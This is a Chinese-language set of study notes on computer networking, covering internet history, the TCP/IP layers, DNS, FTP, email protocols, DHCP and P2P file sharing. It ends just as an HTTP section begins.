https://www.cnblogs.com/cxuanBlog/p/12177976.html
https://juejin.im/post/5ba65296f265da0ac8493503
https://juejin.im/post/5cd0438c6fb9a031ec6d3ab2
https://www.jianshu.com/p/be29d679cbff
https://baike.baidu.com/item/HTTP状态码/5053660

计算机网络基础:https://juejin.im/post/5dc77d806fb9a04ab94e1563
应用层:https://juejin.im/post/5de32715f265da06095c7334
HTTP 协议:https://juejin.im/post/5dfc8af6f265da33ec7dbca4
HTTPS 与追加协议:https://juejin.im/post/5e02d94251882512842197ed
Web 攻击与防御:https://juejin.im/post/5e041d4d518825124953fcd5

计算机网络基础

前言

  • 学习资料来源于 《计算机网络》(第七版)《图解 HTTP》
  • 本篇主要分享互联网概述,计算机网络体系结构等知识。

互连网与互联网的区别

互连网

  • 与网络相连的计算机称为主机。智能手机也可以称为主机。
  • 结点可以是计算机集成器交换机路由器等。
  • 计算机网络(简称网络)由若干结点和连接这些结点的链路组成。
  • 互连网:网络之间可以通过路由器互连起来,这就构成一个覆盖范围更大的计算机网络。
  • 互连网是“网络的网络”,泛指由多个计算机网络互连而成的计算机网络。网络把许多计算机连接在一起。而互连网把许多网络通过路由器连接在一起。

互联网

  • 也叫做因特网,不过现在不用了。
  • 互联网(专有名词):指当前全球最大的,开放的,由众多网络相互连接而成的特定互连网
  • 这也是为什么 1994 年中国接入互联网叫做接入,而不是其他动词。
  • 采用 TCP/IP 协议族作为通信的规则,前身是ARPANET

总结

  • 计算机,交换机,路由器等 = 结点
  • 结点 + 链路 = 网络
  • 网络 + 网络 = 互连网
  • 互联网 = 全球最大的互连网

互联网发展的几个阶段

  • 第一阶段:1969 美国国防部创建的第一个分组交换网ARPANET(并不是一个互连的网络)。所有要连接在ARPANET上的主机都直接与最近的结点交换机相连。
  • 第二阶段:20 世纪 70 年代中期,开始研究多种网络互连的技术,导致互连网络的出现。互联网的雏形。
  • 第三阶段:1983 年,TCP/IP协议成为ARPANET上的标准协议,使所有使用TCP/IP协议的计算机都能利用互联网相互通信。互联网诞生。
  • 第四阶段:1985 年。建成了三级结构的互联网NSFNET。分为主干网,地区网,校园网。基本覆盖了全美国主要的大学和研究所。
  • 第五阶段:世界上许多公司纷纷接入到互联网,网络通信急剧增大,满足不了需求。美国政府决定交给私人公司来经营,开始收费。于是,逐渐形成多层次ISP结构的互联网。1993 年开始,三级结构的互联网NSFNET逐渐被若干个商用的互联网主干网替代。

ISP(互联网服务提供商)

  • 中国电信,中国联通,中国移动等公司是中国最有名的 ISP。
  • ISP 可以从互联网管理机构申请到很多IP地址。主机必须有IP地址才能上网,同时还有通信线路,路由器等联网设备。缴纳费用就能能获取所需IP地址的使用权。
  • 所谓上网就是通过 ISP 获得的 IP 地址接入互联网。
  • ISP 分为主干 ISP,地区 ISP,本地 ISP。
    • 主干 ISP 由专门的公司创建和维持,服务面积最大(一般能覆盖国家范围)
    • 地区 ISP 是一些较小的 ISP。
    • 本地 ISP 给用户提供直接的服务。本地 ISP 可以是一个仅仅提供互联网服务的公司,也可以是一个拥有网络并向自己雇员提供服务的企业,或者是大学。
  • 主机 A 和主机 B 通信的过程。主机 A --> 本地 ISP --> 地区 ISP --> 主干 ISP --> 地区 ISP --> 本地 ISP --> 主机 B
  • 上面这种通信要经过层层阻拦,是否能绕过主干 ISP,地区 ISP 直接和地区 ISP 直接通信呢?可以的。互联网交换点 IXP 的主要作用是允许两个网络直接相连并交换分组,而不需要再通过第三个网络来转发分组。主机 A --> 本地 ISP --> 地区 ISP --> 地区 ISP --> 本地 ISP --> 主机 B

互联网的组成

  • 从工作方式可以分为两大块:边缘部分 + 核心部分。
    • 边缘部分:由所有连接在互联网上的主机组成,用户直接使用。
    • 核心部分:由大量网络和连接这些网络的路由器组成。
  • 边缘部分的通信方式
    • 客户-服务器方式(C/S)。客户是服务请求方,服务器是服务提供方。
    • 对等连接方式(P2P)。两台主机通信并不区分哪一个是服务请求方哪一个是提供方。只要两台主机都运行了对等连接软件就可以通信,相互下载对方硬盘里面的文档。
  • 核心部分
    • 路由器。它是一种专用计算机。路由器是实现分组交换的关键构件,其任务是转发收到的分组。

何为分组交换

  • 电路交换: 建立连接(占用通信资源) -> 通话(一直占用通信资源) -> 释放连接(归还通信资源)。在通话的全部时间里,通话的两个用户始终占用端到端的通信资源。
  • 分组交换:采用存储转发技术。要发送整块数据,这块数据被称为一个报文。在发送之前,把报文分成一个个更小的等长数据段,并在头部加上包头。
  • (首部 + 数据 = 分组)X (很多个) = 报文
  • 路由器的作用就是用来转发这些分组的。路由器收到一个分组,先暂存一下,检查头部,查找转发表,交给下一个路由器,一步一步以存储转发的方式给目的主机。分组交换在传输数据之前不必占用一条端到端的通信资源,并且省去了建立连接和释放连接的开销,传输数据效率更高

为了理解分组,我还是更愿意称之为小报文,更方便记忆。因为称之为分组我感觉太拗口了。

总结:

  • 电路交换。整个报文连续从源点到终点,好像在一个管道中传送。适合大量数据传输。
  • 报文交换。整个报文先到达相邻结点,全部储存下来查找转发表,转发到下一个结点。
  • 分组交换。单个分组(整个报文的一小部分)传送给相邻结点,存储下来后查找转发表,转发到下一个结点。(原理采用报文交换)灵活。

七层协议和四层协议的由来

先看一个很简单的例子:连接在网络上的两台计算机要互相传送文件。

要实现这种功能需要做什么呢?

  • 两者之间要有传输数据的通路。
  • 要保证通道的正确发送和接收。
  • 要告诉网络如何识别接收数据的计算机。
  • 必须检查对方是否开机,并且联网了。
  • 发起通信的计算机的软件必须搞清楚在对方的软件是否做好接收文件和存储文件的准备。
  • 若计算机文件格式不兼容,则至少其中一台计算机应完成格式转换功能。
  • 对于出现的各种差错意外,如数据传输错误,重复,丢失,是否有可靠的措施保障对方能接受到正确的文件。

以上的种种,表明相互通信的两个计算机系统必须高度协调工作才行,为了协调,提出了分层的方法。用分层把问题分而治之。

协议与划分层次

  在计算机网络要做到有条不紊的交换数据,就必须遵守实现约好的规则。这些为进行网络中的数据交换而建立的规则,标准,约定称之为网络协议,也可简称为协议。协议有三要素。

  • 语法。数据与控制信息的结构或格式。
  • 语义。即需要发出何种控制信息,完成何种动作以及做出何种响应。
  • 同步。事件实现顺序的详细说明。

  我们想连接在网络上的另外一台计算机做点什么事,都需要有协议。

立贤不立长

  • 1974 年,美国 IBM 公司宣布了系统网络体系结构 SNA。这个网络标准是按照分层的方法制定的。不久其他一些公司也相继推出自己公司的体系结构。
  • 不同的网络体系结构出现后,使得同一个公司生产的各种设备都能很容易地互连成网。但由于网络体系结构的不同,不同公司的设备很难互相连通
  • 为了使得不同网络体系结构的用户迫切要求能够互相交换信息,国际化标准组织 ISO 在 1977 成立专门机构研究该问题。他们提出一个试图使各种计算机在世界范围内互连成网的标准框架,即 OSI/RM,简称OSI。只要遵循 OSI 标准,一个系统就可以和世界上任何地方的,也遵守这一标准的其他任何系统进行通信。
  • 1983 年,OSI 提出了七层协议
  • 但是,到了 90 年代初期,尽管整套的 OSI 国际标准已经制定出来,但基于 TCP/IP 的四层协议的互联网已抢先在全球相当大的范围成功运行。OSI 失败了。
  • 得到最广泛应用的不是法律上的标准 OSI,而是非国际标准 TCP/IP。TCP/IP 被当做事实的国际标准
  • 现在人们提到的 TCP/IP 并不一定单指 TCP 和 IP 两个具体的协议,而是往往表示互联网所使用的整个 TCP/IP 协议族
  • 网络协议的一个重要的特定是必须把所有不利的条件事先估计到,不能假设一切都是正常的和非常理想的。

四层协议

  • 应用层。是体系结构的最高层。任务是通过应用进程间的交互来完成特定网络应用。应用层定义的是应用进程间通信和交互的规则。在互联网的应用层协议很多,如域名系统 NDS支持万维网应用的 HTTP 协议支持电子邮件的 SMTP 协议。我们把应用层交互的数据单元称为报文。
  • 运输层。负责两台主机中进程之间的通信提供通用的数据传输服务。主要使用两种协议。
    • 传输控制协议 TCP。数据传输的单位是报文段。
    • 用户数据报协议 UDP。提供无连接的,尽最大努力的数据传输服务(不保证数据传输的可靠性),数据传输的单位是用户数据报。
  • 网络层。负责为分组交换网上的不同主机提供通信服务。在发送数据时,网络层把运输层产生的报文段或用户数据封装成分组(小报文)或包进行传送。网络层的另外一个任务就是要选择合适的路由,使源主机运输层所传下来的分组(小报文)能够通过路由器找到目的的主机。IP 协议
  • 数据链路层(链路层)。两台主机之间的数据传输,总是在一段一段的链路上传送的,这就需要专门的链路层协议。在两个相邻结点之间传送数据时,数据链路层把网络层交下来的IP数据报组装成帧,在两个相邻结点的链路上传送帧,每一帧包括数据和必要的控制信息(如同步信息,地址信息,差错控制)。在接收数据时,接收到一个帧,抽出数据部分,提交给网络层。

捋一捋两个主机之间通信的全过程

主机 A 向主机 B 传输数据:

  1. 主机 A 把数据给应用层,应用层加上必要的控制信息。
  2. 应用层的数据再给运输层,运输层再加上控制信息。
  3. 运输层的数据给网络层,网络层再加上控制信息。
  4. 网络层的数据给链路层,链路层给数据加上首部和尾部。
  5. 链路层再把数据给物理层,物理层传输单位是比特,不加控制信息。
  6. 接着数据到达路由器,路由器分析控制信息。
  7. 路由器的分组(小报文)传给物理层。
  8. 物理层再传给链路层,链路层分析控制信息并剥去,找到上层的网络层。
  9. 网络层接收到数据,分析控制信息并剥去,找到上层的运输层。
  10. 运输层接收到信息,分析并剥去控制信息,找到应用层。
  11. 应用层剥去控制信息,把数据给主机 B。

用一个简单的例子描述:
  一封信从最高层向下传,每经过一层就包上一个新的信封,写上必要的地址信息。到达最底层时,向上传,每经过一层就剥去一层信封,到达最高层的时候,去取出发信人的信交给收信人就可以了。


应用层

前言

  本篇文章主要分享应用层下面的几个协议:DNS 域名解析;FTP 文件传输协议;DHCP 动态主机配置协议;电子邮件的 SMTP,POP3 协议。

应用层

  每个应用层协议都是为了解决某一类应用问题,而问题的解决又必须通过位于不同主机中的多个应用进程之间的通信和协同工作来完成。应用层的具体内容就是精确定义这些通信规则。具体来说,应用层协议应当定义:

  • 应用进程交换的报文类型,如请求报文和响应报文。
  • 各种报文类型的语法,如报文中的各个字段以及详细描述。
  • 字段的语义,即包含在字段中的信息的含义。
  • 进程何时,如何发送报文,以及对报文进行响应的规则。

域名系统 DNS

概述

何为 DNS?

  域名系统 DNS 是互联网使用的命名系统,用来把便于人们使用的机器名字装换为 IP 地址。域名系统就是名字系统。为什么不叫“名字”而叫“域名”呢?是因为在这种互联网的命名系统中使用了许多的“域”。

为什么用户要用域名来访问?

  用户与互联网上某台主机通信时,必须知道对方的 IP 地址。然而用户很难记住长达 32 位的二进制主机地址。域名系统 DNS 能够把互联网上的主机名字转换为 IP 地址。

为什么机器在处理 IP 数据报时要使用 IP 地址而不使用域名呢?

  因为IP地址的长度是固定 32 位的(如果是 IPv6,就是 128 位),但是域名却不是固定的,机器处理起来很难。

DNS 的结构

  互联网采用层次树状结构的命名方法,并使用分布式的域名系统 DNS。
  互联网的域名系统 DNS 被设计成为一个联机分布式数据库系统,并采用客户服务器方式。DNS 让大多数名字都在本地进行解析,仅少量解析需要在互联网上通信,因此 DNS 系统效率很高。由于 DNS 是分布式系统,即便单个计算机出了故障,也不会妨碍整个 DNS 系统正常运行。
  域名到 IP 地址的解析是由分布在互联网上的许多域名服务器程序共同完成的。域名服务器程序在专设的结点上运行,而人们也常把运行域名服务器程序的机器称为域名服务器

解析过程

  过程如下:当一个应用程序需要把主机名解析为 IP 地址时,该应用进程就调用解析程序,并成为 DNS 的一个客户,把待解析的域名放在 DNS 请求报文中,以 UDP 用户数据报方式发给本地域名解析器,本地域名服务器查找后,就返回对应的 IP 地址。应用进程获得目的的 IP 地址后即可进行通信。若本地域名服务器无法解析,就向上一层的域名服务器上查找,直到找到。

域名结构

  早期因为用户数少,用了非等级的名字空间。但是随着用户急剧增加,采用了层次树状结构的命名方法。
  mail.cctv.com中 com 为顶级域名,cctv 为二级域名,mail 为三级域名。级别最低的写在最左边,而级别最高的顶级域名写在最右边。
  DNS 既不规定一个域名需要包含多少个下级域名,也不规定每一级的域名代表什么意思。各级域名由其上一级的域名管理机构管理,最顶级的域名由 ICANN 进行管理。用这种方法可以使每个域名在整个互联网范围内是唯一的,并且容易设计出一种查找域名的机制。

  • 通用顶级域名:com(公司企业)、net(网络服务机构)、org(非营利性组织)、int(国际组织)、edu(美国专用教育机构)、gov(美国政府机构)、mil(美国军事机构)等等共有 20 个。
  • 国家顶级域名:cn(中国)、us(美国)等等
  • 反向域名:arpa,用于反向解析

域名服务器

  理论上,可以让每一级的域名都都有一个相对应的域名服务器,但是这样会造成服务器数量过多,效率降低。所以采用划分区的方法来解决这个问题。
  一个服务器所负责管辖的范围叫做区。每个区设置相对应的权限域名服务器,用来保存该区所有域名到 IP 地址的映射
  DNS 服务器的管辖范围不是以域为单位,而是以区为单位。区是服务器实际管辖的范围,区可能等于或小于域,但一定不能大于域。一个域下面可能会有一个或多个区。

域名服务器的分类

  • 根域名服务器。最高层次,最重要的域名服务器。
  • 顶级域名服务器。诸如 com cn gov 这种的。
  • 权限域名服务器。负责一个区的域名服务器。
  • 本地域名服务器。当一台主机发出 DNS 查询请求,这个查询请求报文就发送给本地域名服务器。每个 ISP,或一个大学都可以拥有一个本地域名服务器。本地域名服务器离用户较近,一般不超过几个路由器的距离。当所要查询的主机也同属于同一个 ISP 时,该本地域名服务器立即就能把要查询的主机名转换为它的 IP 地址,而不需要去询问其他的域名服务器。

辅助域名服务器

  为了提高域名服务器的可靠性,DNS 域名服务器都把数据复制到几个域名服务器来保存,其中一个是主域名服务器,其他的是辅助域名服务器。当主域名服服务器出现故障,辅助域名服务器可以确保工作不会中段。

域名查询的两种方式

  • 递归查询
      假如主机 A 想访问主机 B。主机 A 输入 B 的域名后,先是到本地域名服务器查询,查询不到,本地域名服务器以 DNS 客户的身份代表主机 A 去访问根域名服务器,若还是查询不到,根域名服务器如法炮制去到下面一级的顶级域名服务器查询,直到拿到主机 B 的 IP 地址。然后原路返回,给主机 A。
  • 迭代查询
      当根域名服务器收到本地域名服务器发出的请求报文时,要么给出 IP 地址,要么告诉本地域名服务器“下一步应该向哪一个域名服务器进行查询”,直到有域名服务器给出 IP 地址。

  注意:主机向本地域名服务器查询一般采用递归查询。本地域名服务器向根域名服务器查询通常采用迭代查询。

高速缓存

  • 为了提高 DNS 查询效率,并减轻根域名服务器的负荷和减少互联网上的 DNS 查询报文数量,在域名系统服务器中广泛使用了高速缓存。高速缓存用来存放最近查询过的域名以及从何处获得域名映射信息的记录。
  • 许多主机在启动时从本地域名服务器下载名字和地址的全部数据库,维护存放自己最近使用的域名的高速缓存,并且在缓存中找不到名字时才使用域名服务器。

总结 DNS 解析全过程

  1. 浏览器输入一个地址,按下回车。
  2. 如果地址的信息未写完整,(完整的格式应该是这样:www.baidu.com:8080),那么现在的浏览器会自动帮你补齐协议号和端口号。
  3. 浏览器得到完整地址会开始解析,获取改地址的协议,各级域名,端口,路径。
  4. 比对存储在本地的高速缓存,如果有,就直接得到 IP 地址了。
  5. 如果没有,则向本地域名服务器发出查询请求。(递归查询)
  6. 如果本地域名服务器没有,那么本地域名服务器会直接向根域名服务器(最顶层)发出查询请求。此时,根域名服务器要么给出 IP 地址,要么告诉本地域名服务器“下一步应该向哪一个域名服务器进行查询”,直到给出 IP 地址。(迭代查询)

文件传输协议 FTP

文件传送协议 FTP 是互联网上使用最广泛的文件传送协议。

  • FTP 提供交互式的访问
  • 允许客户指明文件的类型与格式
  • 允许文件具有存取权限(访问文件的用户必须经过授权,并输入有效的口令)
  • FTP 屏蔽了个各计算机系统的系统的细节,因而适合于在异构网络中任意计算机之间传送文件。

特点

  • 基于 TCP 的 FTP 和基于 UDP 的简单文件传送协议 TFTP,它们都是文件共享协议中的一大类,即复制整个文件。若要存取一个文件,就必须先获得一个本地的文件副本。如果要修改文件只能对文件的副本进行修改,然后再将修改后的文件副本传回到原节点。
  • 联机访问。允许多个程序同时对一个文件进行存取。

FTP 基本工作原理

  两台主机之间传送文件看似是很简单,往往十分困难。
  原因是众多的计算机厂商研制出的文件系统多达数百种,且差别很大。

经常遇到的问题是:

  1. 计算机存储数据的格式不同。
  2. 文件的目录结构和文件命名的规定不同。
  3. 对于相同的文件存取功能,操作系统使用的命令不同。
  4. 访问控制方法不同。

  文件传送协议 FTP 只提供文件传送的一些基本的服务,主要功能是减少或消除在不同操作系统下处理文件的不兼容性

  FTP 协议分客户端和服务端。一个 FTP 服务端可以为多个客户端提供服务。

  服务端分两类:主进程,从属进程。主进程负责接受新请求,若干个从属进程负责处理单个进程。

  客户端和服务端都有两个从属进程:控制进程数据传送进程
  控制连接会在整个会话期间一直保持打开。
  数据连接用来传输文件,传输完成就关闭数据传送连接。

FTP 文件传输过程总结

  • 客户端发送请求,服务端提供文件。
  • 客户端和服务端都有两个从属进程:控制进程数据传送进程
  • 控制进程会在整个会话期间一直保持打开,表示一直在连接,有点像电路交换。
  • 数据连接用来传输文件,传输完成就关闭数据传送连接。

TFTP 简单文件传送协议

  它是一个很小且易于实现的文件传送协议。
  优点:使用 UDP 数据报。TFTP 代码所占的内存较小。

  TFTP 只支持文件传输而不支持交互。
  发的一方:发完数据后在规定时间内收不到确认就要重复发送数据 PDU。

FTP 下载文件(通过浏览器方式)

  1. 输入地址:协议 + 主机号。所以是ftp://127.0.0.1这种形式的。
  2. 接着会让你登录自己主机的用户名和密码。
  3. 接着进入 FTP 服务器,选择要下载的文件,保存就可以了。
  4. 用 FTP 协议下载文件时,自己的浏览器要打开(FTP 客户端),同时 FTP 服务端也会打开让客户端去下载。

电子邮件

概述

  1982 年,ARPANET 的电子邮件问世。
  电子邮件最重要的两个标准是:简单邮件传送协议 SMTP互联网文本报文格式 [RFC 5322]
  由于互联网的 SMTP 只能传送可打印的 7 位 ASCII 码邮件,因此 1993 年提出通用互联网邮件扩充 MIME。MIME 在邮件首部中说明了邮件的数据类型(文本,声音,图像等)。在 MIME 邮件中可同时传送多种类型的数据。

电子邮件系统构成

  一个电子邮件系统应由三个主要组成构建:用户代理,邮件服务器,邮件发送协议和邮件读取协议(如 POP3)。

  发件人用户代理(SMTP 客户) -> 发送邮件 SMTP -> 发送方邮件服务器(SMTP 服务器,SMTP 客户) -> 发送邮件 SMTP -> 接收方邮件服务器(SMTP 服务器,POP3 服务器) -> 读取邮件 POP3 -> 收件人用户代理(POP3 客户)

用户代理

  用户代理 UA 就是用户与电子邮件系统的接口,在大多数情况下它就是运行在用户电脑中的一个程序。因此用户代理又称为电子邮件客户端软件。用户代理提供一个很友好的接口(主要是窗口界面)来发送和接收邮件。微软的 outlook 和 张小龙的 Foxmail 都是很受欢迎的电子邮件用户代理。

邮件服务器

  互联网上有许多邮箱服务器可供用户选择。邮件服务器 24 小时不间断的工作,并且具有很大容量的邮件信箱。
  邮件服务器的功能是发送和接收邮件,同时还要向发件人报告邮件传送的结果(已发送,已拒绝,丢失等)。
  邮件服务器需使用两种不同的协议:SMTP 用于传送邮件;POP3 用于用户代理从邮件服务器读取邮件。
  邮件服务器即是客户端,也是服务器。A 服务器向 B 服务器发送邮件,A 就是 SMTP 客户,B 是 SMTP 服务器;反之亦然。
  TCP/IP 体系的电子邮箱系统规定电子邮箱地址的格式如下:用户名 @ 邮件服务器的域名

SMTP 简单邮件传送协议

  SMTP 规定了在两个相互通信的SMTP进程之间应如何交换信息。至于邮件内容格式,邮件如何存储,以及邮件系统应以多快的速度来发送邮件,SMTP 未做规定。**SMTP 通信三个阶段:建立连接 -> 邮件传送 -> 连接释放。**具体内容就不展开了。

POP3 邮件读取协议

  邮局协议 POP 是一个非常简单,但功能有限的邮件读取协议,经过几次更新,现在使用的是 1996 年版本 POP3,它已经成为互联网的正式标准。另外一个邮件读取协议是 IMAP。

  最后在强调一下,不要把邮件读取协议 POP3 或 IMAP 与邮件传输协议 SMTP 弄混。发件人的用户代理向发送方邮件服务器发送邮件,以及发送方邮件服务器向接收方邮件服务器发送邮件,都是使用 SMTP 协议。只有用户代理从接收方邮件服务器上读取邮件才使用 POP3。

动态主机配置协议 DHCP

背景

连接到互联网的计算机的协议软件需要配置的项目包括:

  • IP 地址
  • 子网掩码
  • 默认路由器的 IP 地址
  • 域名服务器的 IP 地址

  为了省去给计算机配置 IP 地址的麻烦,能否在计算机的生产过程中,事先给一台计算机配置好一个唯一的 IP 地址(如同每一个以太网适配器拥有一个唯一的硬件的地址)。

为什么上个网要这么麻烦?能不被一次性配置好然后永远都可以上网了。

  这显然是不行的。这是因为 IP 地址不仅包括了主机号,而且还包括了网络号。
  一个 IP 地址指出了一台计算机连接在哪一个网络上。当计算机还在生产时,无法知道它在出厂后将被连接在哪一个网络上。因此,需要连接到互联网的计算机,必须对 IP 地址等项目进行协议配置。

可以人工配置吗?

  用人工进行配置很不方便,且容易出错。

动态 IP

  动态 IP 指的是在需要的时候才进行 IP 地址分配的方式。所谓动态就是指当你每一次上网时,电信会随机分配一个 IP 地址。
  由于 IP 地址资源很宝贵,因此大部分用户上网都是使用动态 IP 地址的,比如通过 Modem、ISDN、ADSL、有线宽频、小区宽频等方式上网的计算机,都是在每次上网的时候临时分配一个 IP 地址。
  IP 地址是一个 32 位二进制数的地址,理论上讲,有大约 40 亿(2 的 32 次方)个可能的地址组合,这似乎是一个很大的地址空间。实际上,根据网络 ID 和主机 ID 的不同位数规则,可以将 IP 地址分为 A (7 位网络 ID 和 24 位主机 ID)、B (14 位网络 ID 和 16 位主机 ID)、C (21 位网络 ID 和 8 位主机 ID)三类,由于历史原因和技术发展的差异,A 类地址和 B 类地址几乎分配殆尽,能够供全球各国各组织分配的只有 C 类地址。所以说 IP 地址是一种非常重要的网络资源。
  对于一个设立了因特网服务的组织机构,由于其主机对外开放了诸如 WWW 、FTP 、E-mail 等访问服务,通常要对外公布一个固定的 IP 地址,以方便用户访问。当然,数字 IP 不便记忆和识别,人们更习惯于通过域名来访问主机,而域名实际上仍然需要被域名服务器(DNS)翻译为 IP 地址。例如,你的主页地址,用户可以方便地记忆和使用,而域名服务器会将这个域名翻译为101.12.123.234,这才是你在网上的真正地址。
  而对于大多数拨号上网的用户,由于其上网时间和空间的离散性,为每个用户分配一个固定的 IP 地址(静态 IP)是非常不可取的,这将造成 IP 地址资源的极大浪费。因此这些用户通常会在每次拨通 ISP 的主机后,自动获得一个动态的 IP 地址,该地址当然不是任意的,而是该 ISP 申请的网络 ID 和主机 ID 的合法区间中的某个地址。拨号用户任意两次连接时的 IP 地址很可能不同,但是在每次连接时间内 IP 地址不变。

静态 IP

  静态 IP 地址(又称固定 IP 地址)是长期分配给一台计算机或网络设备使用的 IP 地址。一般来说,一般是特殊的服务器或者采用专线上网的计算机才拥有固定的 IP 地址而且需要比较昂贵的费用。
  静态 IP 是可以直接上网的 IP 段,该 IP 在 ISP 装机时会划分一个 IP 地址给你,让计算机在连接网络时不再自动获取网络地址,避免了网络连接上的困扰,宽带运营商会提供一根一个 IP 地址、子网掩码、网关和 DNS 服务器地址给用户。**在未使用路由器的情况下,只需要把这根入户网线连接到电脑上,并且手动设置电脑上的 IP 地址,这样电脑才能上网。**静态 IP 地址不会改变,并且主要用于互联网上的网站应用或服务。一些游戏者和使用 VOIP 的人往往也倾向于选择静态 IP 地址,因为沟通更容易。
  动态 IP 地址和静态 IP 地址相对。其一:为了节省 IP 资源,通过电话拨号、ADSL 虚拟拨号等方式上网的机器是不分配固定 IP 地址的。而是由 ISP 动态临时分配,提高 IP 地址利用率;其二:在局域网中为了客户机设置简便,也常采用动态分配 IP 地址,这意味着您每次连接互联网时得到的 IP 地址是不同的。尽管这不影响您访问互联网,但是您的朋友、用户却不能访问到您。因为,他们不知道您的计算机在哪里。这就像每个人都有一部电话,但您的电话号码天天都在改变。
  之所以出现了静态 IP 和动态 IP,是因为 IP 地址不够用。现在需要上网的人太多了,但是现有的技术条件满足不了所有人同时上网。

DHCP

  DHCP(动态主机配置协议)是一个局域网的网络协议。指的是由服务器控制一段 IP 地址范围,客户机登录服务器时就可以自动获得服务器分配的 IP 地址和子网掩码。默认情况下,DHCP 作为 Windows Server 的一个服务组件不会被系统自动安装,还需要管理员手动安装并进行必要的配置。
  它提供一种机制,称为即插即用连网。这种机制允许一台计算机加入新的网络和获取 IP 地址而不用手工参与。

主机连网过程

  我们知道要上网的话,主机必须要有 IP 地址可以。
  需要 IP 地址的主机在启动时就向 DHCP 服务器广播发送发现报文(将目的 IP 设置为全 1,即255.255.255.255。这时,该主机就成为了 DHCP 客户。
  发送广播报文是因为现在还不知道 DHCP 服务器在什么地方,所以才要发送发现报文。这台主机因为还没有 IP 地址,所以将 IP 数据报的源 IP 地址设置为全 0。这样在本地网络上的所有主机都能接收到这个广播报文,但只有 DHCP 服务器才对这广播进行应答:DHCP 服务器先在其数据库中查找该计算机的配置信息,若找到,则返回找到的信息。若找不到,则从服务器的 IP 地址池中取一个地址分配给该计算机。DHCP 服务器的回答报文叫做提供报文,表示提供了 IP 地址等配置信息。
  但是,我们并不愿意在每个网络上都设置一个 DHCP 服务器,这样会使 DHCP 服务器的数量太多。因此现在是使每个网络至少有一个 DHCP 中继代理(通常是一台路由器),它配置了 DHCP 服务器的 IP 地址信息。当中继代理收到主机 A 的发现报文后,就以单播方式向 DHCP 服务器转发此报文,并等待其回答。收到 DHCP 服务器回答后,中继代理再把此提供报文发回主机 A。
  DHCP 服务器分配给 DHCP 客户的 IP 地址是临时的,因此 DHCP 客户只能在一段时间内使用这个分配到的 IP 地址。DHCP 协议称之为租用期,但并未规定租用期应取为多长或至少为多长,这个数值应由 DHCP 服务器自己决定。

简单总结

  • 请求租约
  • 提供租约 (所有收到请求报文的DHCP服务器都会回应)
  • 选择 IP 租约 (可能多个 DHCP 服务器都会收到发现报文,所以才要选择)
  • 确认 IP 租约 (DHCP 服务器发送确认报文)
  • 时间过一半,更新租用期
  • 若 DHCP 服务器不同意,停止使用原 IP,客户需要重新发送发现报文。

  DHCP 很适合于经常移动位置的计算机。在 Windows 系统下,控制面板/网络,找到某个连接中的网络下面的菜单,找到 TCP/IP 协议后,点击属性按钮,若选择自动获得 IP 地址和自动获得 DNS 服务器地址,就表示的是使用 DHCP 协议。

P2P 应用

概述

  P2P 应用就是指具有 P2P 体系结构的网络应用,没有固定的服务器,而绝大部分的交互都是使用对等方式(P2P 方式)进行的。
  P2P 文件分发不需要使用集中式的媒体服务器,而所有的音频/视频文件都是在普通的互联网用户之间传输的。
  这其实是相当于有很多分散在各地的媒体服务器(由普通用户的计算机充当这种媒体服务器)向其他用户提供所要下载的音频/视频文件。
  这种 P2P 文件分发方式解决了集中式媒体服务器可能出现的瓶颈问题。

具有集中目录服务器的 P2P 工作方式

  最早使用 P2P 工作方式的是 Napster(1999 年美国一个大学生写的软件)。利用这个软件可以免费下载各种 MP3 音乐。
  Napster 的出现使 MP3 成为网络音乐事实的标准。
  Napster 能够搜索音乐文件,能够提供检索功能。所有音乐文件的索引信息都集中存放在 Napster 目录服务器中,这个服务器起索引功能,使用者只要查找目录服务器,就可以知道应从何处下载 MP3 文件。

Napster 的工作原理

  1. 运行 Napster 的所有用户,都必须及时向 Napster 的目录服务器报告自己已经存有哪些音乐文件。
  2. Napster 目录服务器就用这些用户信息建立起一个动态数据库,集中存储了所有用户的音乐文件信息(即对象名和向对应的 IP 地址)。
  3. 当某个用户想下载某个 MP3 文件时,就向目录服务器发出查询(这个过程依然是传统的客户-服务器方式),目录检索出结果之后向用户返回存放这一文件的计算机 IP 地址,于是这个用户就可以从中选取一个地址下载想要得到的 MP3 文件(这个下载过程就是 P2P 方式)。
  4. 可以看出,Napster 的文件传输是分散的(P2P 方式),但文件的定位是集中的(客户-服务器方式)

Napster 网站于 2000 年被迫关闭,罪名:间接侵害版权。

具有全分布式结构的 P2P 文件共享程序

  第一代 P2P 文件共享软件 Napster 关闭之后,开始出现了以 Gnutella 为代表的第二代 P2P 文件共享软件。
  G 与 N 最大的区别在于不使用集中式的目录服务器进行查询,而是使用洪范法在大量 G 用户之间进行查询。
  为了更加有效的在大量用户之间使用 P2P 技术下载共享文件,最近几年已经开发出很多 P2P 文件共享程序,他们使用分散定位和分散传输技术。如 KaZaA电骡 eMulw比特洪流 BT 等。

BT 工作原理

  BT 把从对等方下载文件的数据单元称为文件块,一个文件块的长度是固定不变的。
  假如一个用户要获取一个文件(这个用户称之为对等方),一开始它并没有文件块,但新的对等方加入可能使他拥有了一些文件块,并且可以为其他对等方提供数据块。在用户陆续获得多个文件块之后,就可以凑成一整个文件。获取到完整的文件之后,可以选择退出 BT(相当于自私的用户),也可以继续留在 BT(相当于无私的用户)。可以随时加入或退出,即便某个文件还未完全下载完成,可以以后再加入 BT 把剩下的文件块再下载完成。
  因此,从不同的对等方获得不同的数据块,然后组装成整个文件,一般要比仅从一个地方下载整个文件要快很多。
  至于 BT 解决的问题:如何准确定位找到所需的文件块?若有多个请求,我先给谁?或者先给哪一个文件块?这个就不展开仔细讲了。


HTTP 协议

前言

Web 及网络基础

WWW

  1989 年 3 月,HTTP 诞生了。

  CERN(欧洲核子研究组织)的蒂姆·伯纳斯-李(TimBerners-Lee)博士提出了一种能让远隔两地的研究者们共享知识的设想。
  最初设想的基本理念是:借助多文档之间相互关联形成的超文本(HyperText),连成可相互参阅的 WWW(World Wide Web,万维网)。

  WWW 这一名称,是 Web 浏览器当年用来浏览超文本的客户端应用程序时的名称。现在则用来表示这一系列的集合,也可简称为 Web。

  现在已提出了 3 项 WWW 构建技术,分别是:页面的文本标记语言的 HTML(HyperText Markup Language,超文本标记语言);作为文档传递协议的 HTTP;指定文档所在地址的 URL(Uniform Resource Locator,统一资源定位符)。

  总结:WWW = Web = HTML + HTTP + URL。

HTTP

  • HTTP/0.9
      HTTP 于 1990 年问世。那时的 HTTP 并没有作为正式的标准被建立。这时的 HTTP 其实含有 HTTP/1.0 之前版本的意思,因此被称为 HTTP/0.9。
  • HTTP/1.0
